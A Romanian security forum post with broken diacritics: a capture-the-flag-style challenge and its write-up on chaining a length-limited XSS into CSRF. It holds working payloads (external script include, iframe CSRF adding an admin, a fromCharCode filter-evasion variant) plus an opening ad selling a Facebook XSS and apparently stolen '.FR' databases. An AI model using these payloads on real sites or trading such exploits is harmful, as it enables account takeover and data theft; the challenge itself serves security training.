Search the Community

XSS in facebook.com Pret 100$ (350lei) WU, PP Dovada la moderatori sau dupa ce vad banii. PM. Si 1K+ db-uri .FR

Se d? pagina de profil a utilizatorului: My Profile, care este vulnerabil? la XSS. Plus la aceasta, mai este disponibil ?i un Admin Panel cu ajutorul c?ruia se pot ad?uga noi utilizatori pe site. Ceea ce trebuie s? facem, este s? folosim vulnerabilitatea XSS pentru a ini?ia un atac CSRF ?i s? ad?ugam un nou administrator, iar mesajul «Congratulations! New administrator, has been added.» — trebuie s? confirme acest lucru. Explic: atunci când vom ap?sa butonul «submit & save» trebuie sa primim exact acela?i mesaj ca ?i in cazul când vom ap?sa butonul «Submit Query» (dup? ce am completat spatiile din Admin Panel). Pentru unii pare un simplu joc, dar totu?i, rog s? nu posta?i r?spunsul, ci sa-l trimite?i prin PM (nu uita?i s? v? spune?i p?rerea), iar eu voi redacta postul, indicând cine a reu?it s? treac? testul. Deci, cine e primul? Felicit?ri pentru înving?tori: loki ? [05-04-2010 11:08 PM] UPD #1: Mai întâi de toate, vreau s? spun c? pentru a exploata vulnerabilitatea, e nevoie de pu?in? ingeniozitate, ?i, dat fiind faptul c? personal nu am v?zut pe nimeni s? foloseasc? aceast? metoda, pentru unii v-a fi destul de dificil s? treac? testul… Istorie: Cu ceva timp în urm?, g?sisem un XSS activ într-o pagin? de profil, practic, o copie celei prezentate de mine. Dar, din cauza num?rului limitat de caractere, nu puteam decât s? primesc doar un alert(). Nimic mai mult... Dup? câteva minute, mi-a venit o idee — 'doar am mai multe c?su?e pe care pot s? le completez', deci — mai mult 'spa?iu'. p.s. Pe lâng? scriptul JS, PHP-ul are grij? ca s? nu trece?i de limita num?rului de caractere. UPD #2: Ini?ial, m? gândeam s? scriu un tutorial despre 'aceast? metod?' de exploatare a vulnerabilit??ilor XSS, dar m-am gândit c? un challenge, ar fi mult mai folositor, mai interesant. Iar când am început s? fac acest lucru, am hot?rât s? nu complic lucrurile, de aceea s-a primit 'poate cel mai simplu' CSRF posibil. Mesaj special pentru cei interesa?i de token-uri: nu uita?i de refresh, atunci când sunte?i în Admin Panel. UPD #3: Vreau s? precizez, c? într-o situa?ie similar?, folosind o «astfel» de metod? atacatorul va trece cu brio de limitele puse de cei care securizeaz? site-ul. Unica problem? r?mâne, ca victimele s? viziteze pagina sau paginile, unde sunt amplasate cel pu?in 2 c?su?e din formular, iar una dintre ele s? fie cea vulnerabil?. Apropo, c?su?a cu «Name» e readonly, iar în Admin Panel — «group» se repet? de 2 ori... UPD #4: Dat fiind faptul c? nu vreau s? deschid un nou thread, voi profita de ocazie ?i voi întreba aici: ?ti?i voi oare la ce bun folose?te func?ia escape()? UPD #5: E foarte cert?re?, fiindc? vrea s? fie unic într-un document, ?i, cic? nu are dreptul s? apar? de ori pe aceea?i pagin?. aHR0cDovL3d3dy53My5vcmcvVFIvaHRtbDQwMS9zdHJ1Y3QvZ2xvYmFsLmh0bWwjaC03LjUuMg==

Probabil, mul?i membri ai acestui forum au observat recentul meu post în care am f?cut "un apel" c?tre to?i exper?ii în XSS ?i CSRF, rugându-i s? exploateze într-un mod pu?in mai neobi?nuit o vulnerabilitate XSS. Nu ?tiu câ?i membri au acceptat provocarea, dar cert este faptul c? doar unul singur a reu?it s? treac? testul — loki, care, practic ?tia deja r?spunsul dup? ce editasem postul ad?ugând cel de-al doilea Update. În principiu, cu fiecare Update ad?ugat, încercam s? aten?ionez participan?ii despre anumite obstacole, s? le dau noi puncte de reper, s? le ar?t calea cea dreapt?... De exemplu, la prima redactare a postului, am dat de în?eles c? nu are rost s? piard? timpul folosind metode de a trece peste num?rul limitat de caractere, ?i cel mai important, s? se gândeasc? cum ar putea s? foloseasc? mai multe c?su?e pentru a ajunge înving?tor. Redactând postul pentru a doua oar?, am dezv?luit secretul token-ului, care de fapt r?mânea mereu acela?i. Plus la aceasta, am aten?ionat c? în acest test merge vorba despre «cel mai simplu CSRF» — nu ?tiu pentru al?ii cum e, dar pentru mine, cel mai simplu CSRF posibil, este atunci când datele se transmit prin metoda GET. Astfel, pentru a testa dac? scriptul accept? datele transmise prin GET, puteam folosi expresia: javascript:void(document.forms[0].method='get'), pe care trebuie s? o introducem în bara de adrese a browserului, dup? care tast?m Enter, complet?m formularul ?i ap?s?m butonul «Submit Query». Vom observa c? administratorul a fost ad?ugat cu succes, iar request-ul de tip POST s-a transformat în unul GET ?i... acum, cu u?urin?? putem copia adresa URL pentru a o folosi la atacul CSRF. Dup? p?rerea mea, fiind analizat cu aten?ie, cel de-al treilea Update era cel mai puternic indiciu care putea s? duc? la imediat? rezolvare a problemei. Iat? de ce, pentru a duce în eroare participan?ii, am scris cu font gri un mesaj care nu avea nici o leg?tur? cu acest test ?i rezolvarea lui. Îns? mesajul principal a r?mas, ?i chiar eram curios, oare nimeni nu s-a întrebat: De ce trebuie s? fie minim dou? c?su?e pe aceea?i pagin?? La ce bun folose?te o a doua c?su?a, care nici m?car nu e vulnerabil?? ?i tot dup? p?rerea mea, r?spunsul era foarte simplu: în c?su?a vulnerabil? («Signature») puteam folosi JavaScript, îns? era prea pu?in spa?iu, pe când «About me» — avea ceva mai mult... Deci, ce ne împiedic? s? "împrumut?m" caractere din containerul «About me»? Oare func?ia escape() amintit? în Update-ul num?rul 4, ?i atributul «id» din UPD #5 — nu a ?optit nim?nui vre-o idee n?stru?nic?? Sunt sigur c? pentru a dezlega orice mister trebuia doar s? aduc aminte de document.getElementById() — îns? acest lucru ar fi f?cut Challenge-ul prea simplu ?i lipsit de interes... Îns? acum nu ne r?mâne decât s? recapitul?m rapid ce aveam la îndemân?: O c?su?? vulnerabil?, care ne permite s? inser?m coduri JavaScript, dar care are un num?r limitat de caractere prea mic; Func?ia escape(), cu ajutorul c?reia putem codifica caracterele speciale; O c?su?? care nu e vulnerabil?, dar ofer? mai mult spa?iu ?i, pe lâng? aceasta are ?i un «id» unic; Expresia document.getElementById() cu ajutorul c?reia putem "împrumuta" caractere din containerul sus-men?ionat; Anume aceste p?r?i ale puzzle-ului, puse cap la cap i-au adus lui loki victoria. Cum? Foarte simplu! Într-un fi?ier extern (pe care l-am înc?rcat pe server), folosind func?ia document.write(), se crea o copie exact? a formularului din Admin Panel, ?i, folosind expresia document.forms[0].submit() se trimiteau datele c?tre server prin metoda POST. Desigur, pentru a exploata vulnerabilitatea XSS, acest fi?ier trebuia injectat pe pagina din profil, folosind expresia: <script src="http://test.securrity.ru/challenges/loki_rst_u9.js"></script> Pentru a trece de filtrul PHP, s-a folosit func?ia escape(), cu ajutorul c?reia expresia men?ionat? mai sus a c?p?tat forma: %3Cscript%20src%3D%22http%3A%2f%2ftest.securrity.ru/challenges/loki_rst_u9.js%22%3E%3C/script%3E%0A Anume aceast? expresie a fost? inserat? în c?su?a «About me», care avea ?i un id asem?n?tor: 'AboutMe'. Ultimul ?i cel mai important pas, a fost inserarea în c?su?a vulnerabil? «Signature», a urm?torului cod: <script>document.write(unescape(document.getElementById('AboutMe').innerHTML));</script> unde, document.getElementById('AboutMe').innerHTML — returneaz? caracterele c?su?ei 'AboutMe'; unescape() — returneaz? valoarea ini?ial? a caracterelor codificate cu ajutorul fun?iei escape(); document.write() — afi?eaz? codul ce include fi?ierul extern; Acum, nu ne r?mâne decât s? ap?s?m butonul «submit & save»! Unicul lucru pe care vreau s?-l adaug la metoda folosit? de loki, este c? testul era mult mai u?or, ?i în schimbul unui fi?ier extern, putea fi folosit doar un simplu iframe: %3Ciframe%20src%3D%22http%3A//test.securrity.ru/challenges/n1.php%3Fdo%3Dadd%26mode%3Dnew_account%26group%3Dadministrators%26name%3DAdmin%26password%3Dpassw0rd%26email%3Dadmin@site.net%26token%3D94a08da1fecbb6e8b46990538c7b50b2%22%3E%3C/iframe%3E A?a cum am mai spus, aceast? metod? e ca un cu?it cu dou? t?i?uri: partea bun? e c? putem trece de filtre; partea rea — ambele c?su?e trebuie s? fie prezente pe aceea?i pagin?. ?i, o a doua problem? ar fi suspiciunile administra?iei, care la sigur va ?terge astfel de mesaje sau accounturi. În astfel de situa?ii am putea folosi func?ia String.fromCharCode(), astfel un ?ir de cifre separate prin virgul? va putea trece neobservat. Dar, ?i aici este o mic? problem?, deoarece pentru a folosi String.fromCharCode(), este nevoie de pu?in mai mult spa?iu, mai exact cu 33 caractere mai mult, iar codul care trebuie inserat în c?su?a vulnerabil? va ar?ta în felul urm?tor (cei care pot face acest cod mai scurt, sunt ruga?i s? prezinte un exemplu): <script>document.write(String.fromCharCode.apply(this,document.getElementById("AboutMe").innerHTML.split(',')));</script> Iar în c?su?a «About Me» vom introduce textul urm?tor (ob?inut cu noquote): 60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,116,101,115,116,46,115,101,99,117,114,114,105,116,121,46,114,117,47,99,104,97,108,108,101,110,103,101,115,47,110,49,46,112,104,112,63,100,111,61,97,100,100,38,109,111,100,101,61,110,101,119,95,97,99,99,111,117,110,116,38,103,114,111,117,112,61,97,100,109,105,110,105,115,116,114,97,116,111,114,115,38,110,97,109,101,61,65,100,109,105,110,38,112,97,115,115,119,111,114,100,61,112,97,115,115,119,48,114,100,38,101,109,97,105,108,61,97,100,109,105,110,64,115,105,116,101,46,110,101,116,38,116,111,107,101,110,61,57,52,97,48,56,100,97,49,102,101,99,98,98,54,101,56,98,52,54,57,57,48,53,51,56,99,55,98,53,48,98,50,34,62,60,47,105,102,114,97,109,101,62 Dup? cum v? da?i bine seama, acest articol a fost scris în scopuri educative, pentru a în?elege c? nimic nu e perfect (în special aplica?iile celor, care în loc s? repare vulnerabilit??ile, încearc? s? demonstreze c? nu e a?a de GRAV precum pare). ?i da, sunt aproape 'preg?tit' s? ?in piept oric?rei întreb?ri, critici sau idei. B7ackAnge7z Special pentru RST